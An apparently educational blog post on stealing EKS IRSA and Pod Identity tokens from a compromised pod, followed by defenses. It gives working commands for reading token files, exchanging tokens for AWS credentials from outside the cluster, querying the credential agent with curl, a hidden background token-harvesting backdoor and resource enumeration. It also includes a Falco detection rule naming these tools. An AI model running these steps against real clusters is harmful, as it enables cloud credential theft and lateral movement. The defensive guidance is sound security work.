Token Theft and Abuse - Compromising IRSA and Pod Identity Authentication
We need to understand how an attacker can actually abuse these workload identity tokens and access cloud resources
Originally published on Medium in January 2026. Updated November 2026 with corrected defenses and detections.
You’ve compromised a pod in an EKS cluster through a command injection vulnerability. The web application gave you a shell inside the container, but the real question is: what can you do from here? Most attackers would celebrate and move on to privilege escalation, but the real treasure is sitting right there in the filesystem: authentication tokens that could give you access to the entire AWS infrastructure.
What happens next can turn a simple web app compromise into full cloud environment access. Today, I’ll walk you through exactly how to extract and abuse both IRSA and Pod Identity tokens, and more importantly, how you can detect and prevent these attacks.
The Moment of Truth: What Do You Actually Have?
When you first compromise a pod, your immediate question should be: “What authentication mechanisms are in play here?” The answer determines your entire attack path.
Let’s start with reconnaissance. The first thing to do is check what’s been injected into the environment:
# Check what AWS-related environment variables exist
env | grep -i aws
This tells you immediately whether you’re dealing with IRSA, Pod Identity, or potentially both. Here’s what you’re looking for:
IRSA indicators:
AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN_FILE
Pod Identity indicators:
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILEAWS_CONTAINER_CREDENTIALS_FULL_URI
Legacy instance profile (jackpot):
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY
Exploiting IRSA: The Classic Token Heist
With IRSA, the attack is straightforward but effective. The JWT token is sitting right there in the filesystem, and once you have it, you can use it from anywhere until it expires.
Step 1: Extract the Token
# The token is always at this location
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token > token.txt
Step 2: Use It Anywhere
Here’s where it gets interesting. Unlike Pod Identity, IRSA tokens can be used completely outside the cluster context:
# Check what we're dealing with
env | grep AWS
# Use the stolen token to assume the role
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::123456789012:role/eks-readonly-role \
--role-session-name mysession \
--web-identity-token file://token.txt
# Export the returned credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="abc123..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."
# Verify access
aws sts get-caller-identity
The beauty (from an attacker’s perspective) is that this works from your laptop, a different cloud provider, anywhere with internet access. The token doesn’t care where it’s being used from.
Step 3: Maximize Your Window
IRSA tokens refresh automatically, so if you maintain access to the pod, you can keep harvesting fresh tokens:
# Set up a simple token harvester
while true; do
cp /var/run/secrets/eks.amazonaws.com/serviceaccount/token /tmp/fresh_token_$(date +%s).txt
sleep 3600 # Every hour
done
Exploiting Pod Identity: The Agent Conversation
Pod Identity requires a different approach. The tokens can’t be used directly with AWS APIs - they need to be exchanged through the Pod Identity Agent. But this actually opens up some interesting attack possibilities.
Method 1: Direct Agent Communication
# Check the environment
env | grep AWS_CONTAINER
# Use the authorization token to get credentials from the agent
curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \
$AWS_CONTAINER_CREDENTIALS_FULL_URI
Or if you want to do it manually:
# Extract the Pod Identity token
cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token > eks-pod-identity-token
# Talk directly to the agent
curl -s -H "Authorization: $(cat eks-pod-identity-token)" \
http://169.254.170.23/v1/credentials
Method 2: Credential Harvesting
The response from the agent gives you temporary AWS credentials:
# Store the response and parse it
CREDS=$(curl -s -H "Authorization: $(cat eks-pod-identity-token)" \
http://169.254.170.23/v1/credentials)
# Export the credentials (you'll need to parse the JSON response)
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="abc123..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."
# Verify access
aws sts get-caller-identity
Advanced Techniques: Going Beyond Basic Token Theft
Persistence Through Pod Restarts
Both authentication methods refresh their tokens, but your access to the pod might not be persistent. Here’s how to maintain access:
# Create a simple backdoor that harvests tokens
echo '#!/bin/bash
while true; do
if [ -f "/var/run/secrets/eks.amazonaws.com/serviceaccount/token" ]; then
cp /var/run/secrets/eks.amazonaws.com/serviceaccount/token /tmp/.hidden_token
fi
if [ -f "/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token" ]; then
cp /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token /tmp/.hidden_pod_token
fi
sleep 300
done' > /tmp/.token_harvester.sh
# Run it in the background
nohup bash /tmp/.token_harvester.sh &
Lateral Movement Within the Cluster
Once you have AWS credentials, you can potentially access other resources that might give you broader cluster access:
# Check what S3 buckets you can access
aws s3 ls
# Look for EKS-related resources
aws eks list-clusters
aws eks describe-cluster --name cluster-name
# Check for secrets in Parameter Store or Secrets Manager
aws ssm describe-parameters
aws secretsmanager list-secrets
Token Scope Analysis
Understanding exactly what permissions your stolen tokens have is crucial:
# Use a tool like enumerate-iam or aws-iam-enumerate
# Or manually test common permissions
aws s3 ls
aws ec2 describe-instances
aws iam list-roles
aws lambda list-functions
Defense Strategies That Actually Work
If an attacker has a shell in your pod, assume they can read its token. The goal is to make that token worth as little as possible, usable from as few places as possible, and noisy when it is misused.
1. Least Privilege, One Role per Service Account
This is the control that decides how bad a stolen token is.
- Give each service account its own IAM role, scoped to exactly what that workload needs. Never share one broad role across namespaces.
- Don’t attach a role to service accounts that don’t need AWS at all.
- For IRSA, pin both the
subandaudclaims in the trust policy, so only one service account in one namespace can assume the role:
"Condition": {
"StringEquals": {
"oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E:sub": "system:serviceaccount:production:my-app-sa",
"oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E:aud": "sts.amazonaws.com"
}
}
- Block the fallback path: require IMDSv2 with a hop limit of 1 on worker nodes, so a compromised pod can’t reach the node’s instance role instead.
2. Container Hardening
Hardening doesn’t stop a process in the pod from reading its own token, but it removes the tooling and the easy paths an attacker relies on after landing:
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
serviceAccountName: my-app-sa
containers:
- name: app
# Pin images by digest, not a mutable tag like :latest
image: registry.example.com/my-app@sha256:<digest>
securityContext:
runAsNonRoot: true
runAsUser: 1000
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
Minimal or distroless images help most here: no shell, no curl, no package manager.
3. Network Controls
Block the instance metadata endpoint for pods, while leaving the Pod Identity Agent (169.254.170.23) reachable, because the SDK needs it:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-instance-metadata
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
Two caveats. NetworkPolicy is only enforced if your CNI supports it (the VPC CNI’s network policy feature, Calico, or Cilium), and it doesn’t apply to hostNetwork pods. Keep IMDSv2 with hop limit 1 as the backstop.
4. Bind Credentials to Your Network (a Data Perimeter)
Stolen IRSA tokens work from anywhere, because AssumeRoleWithWebIdentity will issue credentials to any caller holding a valid token. You can’t stop that call, but you can make the resulting credentials useless outside your network by adding conditions to the role’s permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowReadsOnlyFromOurVpc",
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-specific-bucket/*",
"Condition": {
"StringEquals": {
"aws:SourceVpc": "vpc-0abc1234def567890"
}
}
}
]
}
Pick the condition key that matches how your pods reach AWS:
- Through VPC endpoints (for example an S3 gateway endpoint): use
aws:SourceVpcoraws:SourceVpce. These are only set on requests that arrive through an endpoint. - Through a NAT gateway: use
aws:SourceIpwith your NAT gateways’ public Elastic IPs. AWS sees the NAT’s public address, so a private range like10.0.0.0/8would deny your own pods.
At organization scale, the same idea is enforced with SCPs and resource control policies as a data perimeter.
5. Monitoring and Detection in CloudTrail
The two mechanisms leave different trails, so alert on each:
- IRSA: an
AssumeRoleWithWebIdentityevent, whereuserIdentity.typeisWebIdentityUserand the identity provider is your cluster’s OIDC issuer. Alert whensourceIPAddressis not one of your NAT gateway IPs or VPC endpoints. - Pod Identity: credentials are issued through the EKS Auth API (
AssumeRoleForPodIdentity), called by the agent on the node. The theft shows up in what happens next. - For both: watch API calls made with a workload role’s session from unexpected source IPs, unusual user agents (
aws-clifrom a role that normally only uses an SDK), or bursts of enumeration calls (List*,Describe*,GetCallerIdentity).
{
"eventName": "AssumeRoleWithWebIdentity",
"sourceIPAddress": "203.0.113.10",
"userAgent": "aws-cli/2.x",
"userIdentity": {
"type": "WebIdentityUser",
"identityProvider": "arn:aws:iam::123456789012:oidc-provider/oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E"
}
}
6. Runtime Detection Inside the Cluster
The application itself reads its token through the SDK, so a rule that fires on every read is just noise. What stands out is an unexpected process reading the token or calling the credential endpoints. A Falco rule along these lines catches the manual techniques above:
- rule: Workload identity token read by unexpected process
desc: A shell or transfer tool read an EKS projected AWS token
condition: >
open_read and container
and (fd.name startswith /var/run/secrets/eks.amazonaws.com/serviceaccount/
or fd.name startswith /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/)
and proc.name in (cat, cp, dd, base64, curl, wget)
output: >
AWS token read by unexpected process
(proc=%proc.name cmdline=%proc.cmdline container=%container.name)
priority: WARNING
Tune the process list per workload, and pair it with a rule for curl or wget connecting to 169.254.170.23 or 169.254.169.254. Amazon GuardDuty’s EKS Runtime Monitoring covers similar behavior if you’d rather not run your own rules.
Understanding the Attack Impact
Token theft attacks can have severe consequences. Stolen tokens with overly broad permissions can lead to:
- Complete infrastructure visibility across multiple AWS accounts
- Access to sensitive data in S3 buckets, RDS databases, and other services
- Ability to modify resources and create backdoors
- Lateral movement to other cloud services and environments
The time from initial pod compromise to significant data access can be measured in minutes, not hours or days.
What’s Next in This Series
Token theft is half the story. The other half is what an attacker can do once they get out of the pod and onto the node. Before writing that up, I put the container mechanics on the table in Six Layers Between a Container and Your Host , which covers exactly which layer has to fail for a pod to reach node-level credentials.
The Bottom Line
These aren’t theoretical attacks. These techniques work reliably against poorly configured clusters in real-world scenarios. The good news is that least-privilege roles, network-bound credentials, and detection on token misuse make them far less valuable and far easier to spot.
The key insight is that both IRSA and Pod Identity are secure by design, but they can’t protect against poor implementation. If an attacker gets shell access to your pod, those tokens are compromised. Plan accordingly.
Have you bound your EKS workload roles to your network with VPC or IP conditions? What monitoring are you doing for unusual AWS API patterns? I’m curious to hear what defensive strategies are working in real environments.